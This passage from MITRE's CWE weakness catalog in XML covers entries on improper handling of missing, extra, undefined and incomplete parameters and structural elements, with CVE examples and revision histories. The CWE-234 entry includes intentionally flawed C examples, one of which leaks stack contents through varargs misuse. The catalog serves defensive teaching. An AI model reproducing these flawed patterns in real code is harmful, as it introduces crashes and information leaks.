               <Body_Text>The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Parameter Problems</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="39"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Description, Name, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2013-07-17">Parameter Problems</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="234" Name="Failure to Handle Missing Parameter" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>If too few arguments are sent to a function, the function will still pop the expected number of arguments from the stack. Potentially, a variable number of arguments could be exhausted in a function as well.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="233" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>There is the potential for arbitrary code execution with privileges of the vulnerable program if function parameter list is exhausted.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>Potentially a program could fail if it needs more arguments then are available.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Build and Compilation</Phase>
               <Description>This issue can be simply combated with the use of proper build process.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Forward declare all functions. This is the recommended solution. Properly forward declaration of all used functions will result in a compiler error if too few arguments are sent to a function.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following example demonstrates the weakness.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>foo_funct(one, two);<xhtml:br/>
                     <xhtml:br/>void foo_funct(int one, int two, int three) {<xhtml:div style="margin-left:1em;">printf("1) %d\n2) %d\n3) %d\n", one, two, three);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>void some_function(int foo, ...) {<xhtml:div style="margin-left:1em;">int a[3], i;<xhtml:br/>va_list ap;<xhtml:br/>va_start(ap, foo);<xhtml:br/>for (i = 0; i &lt; sizeof(a) / sizeof(int); i++) a[i] = va_arg(ap, int);<xhtml:br/>va_end(ap);</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>int main(int argc, char *argv[]) {<xhtml:div style="margin-left:1em;">some_function(17, 42);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This can be exploited to disclose information with no work whatsoever. In fact, each time this function is run, it will print out the next 4 bytes on the stack after the two numbers sent to it.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2004-0276</Reference>
               <Description>Server earlier allows remote attackers to cause a denial of service (crash) via an HTTP request with a sequence of "%" characters and a missing Host field.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0276</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1488</Reference>
               <Description>Chat client allows remote malicious IRC servers to cause a denial of service (crash) via a PART message with (1) a missing channel or (2) a channel that the user is not in.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1488</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1169</Reference>
               <Description>Proxy allows remote attackers to cause a denial of service (crash) via an HTTP request to helpout.exe with a missing HTTP version numbers.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1169</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0521</Reference>
               <Description>Web server allows disclosure of CGI source code via an HTTP request without the version number.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0521</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0590</Reference>
               <Description>Application server allows a remote attacker to read the source code to arbitrary 'jsp' files via a malformed URL request which does not end with an HTTP protocol specification.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0590</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0239</Reference>
               <Description>Chat software allows remote attackers to cause a denial of service via malformed GIF89a headers that do not contain a GCT (Global Color Table) or an LCT (Local Color Table) after an Image Descriptor.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0239</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1023</Reference>
               <Description>Server allows remote attackers to cause a denial of service (crash) via an HTTP GET request without a URI.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1023</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1236</Reference>
               <Description>CGI crashes when called without any arguments.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1236</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0422</Reference>
               <Description>CGI crashes when called without any arguments.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0422</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1531</Reference>
               <Description>Crash in HTTP request without a Content-Length field.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1531</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1077</Reference>
               <Description>Crash in HTTP request without a Content-Length field.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1077</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1358</Reference>
               <Description>Empty elements/strings in protocol test suite affect many SSH2 servers/clients.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1358</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0477</Reference>
               <Description>FTP server crashes in PORT command without an argument.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0477</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0107</Reference>
               <Description>Resultant infoleak in web server via GET requests without HTTP/1.0 version string.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0107</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0596</Reference>
               <Description>GET request with empty parameter leads to error message infoleak (path disclosure).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0596</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Missing Parameter Error</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Missing parameter</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Maintenance">This entry will be deprecated in a future version of CWE. The term "missing parameter" was used in both PLOVER and CLASP, with completely different meanings. However, data from both taxonomies was merged into this entry. In PLOVER, it was meant to cover malformed inputs that do not contain required parameters, such as a missing parameter in a CGI request. This entry's observed examples and classification came from PLOVER. However, the description, demonstrative example, and other information are derived from CLASP. They are related to an incorrect number of function arguments, which is already covered by CWE-685.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-09</Modification_Date>
               <Modification_Importance>Critical</Modification_Importance>
               <Modification_Comment>added maintenance note: this entry will probably be deprecated</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Missing Parameter Error</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="235" Name="Improper Handling of Extra Parameters" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product does not handle or incorrectly handles when the number of parameters, fields, or arguments with the same name exceeds the expected amount.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="233" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>This typically occurs in situations when only one element is expected to be specified.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2003-1014</Reference>
               <Description>MIE. multiple gateway/security products allow restriction bypass using multiple MIME fields with the same name, which are interpreted differently by clients.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-1014</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Extra Parameter Error</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="460"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Relationship">This type of problem has a big role in multiple interpretation vulnerabilities and various HTTP attacks.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Description, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Time_of_Introduction</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Extra Parameter Error</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-03-10">Failure to Handle Extra Parameter</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="236" Name="Improper Handling of Undefined Parameters" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product does not handle or incorrectly handles when a particular parameter, field, or argument name is not defined or supported by the product.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="233" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-1488</Reference>
               <Description>Crash in IRC client via PART message from a channel the user is not in.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1488</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0650</Reference>
               <Description>Router crash or bad route modification using BGP updates with invalid transitive attribute.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0650</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Undefined Parameter Error</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Observed_Example, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Undefined Parameter Error</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-03-10">Failure to Handle Undefined Parameter</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="237" Name="Improper Handling of Structural Elements" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product does not handle or incorrectly handles inputs that are related to complex structures.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="228" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Element Problems</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-03-10">Element Problems</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="238" Name="Improper Handling of Incomplete Structural Elements" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product does not handle or incorrectly handles when a particular structural element is not completely specified.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="237" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Missing Element Error</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Relationship">Can be primary to other problems.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
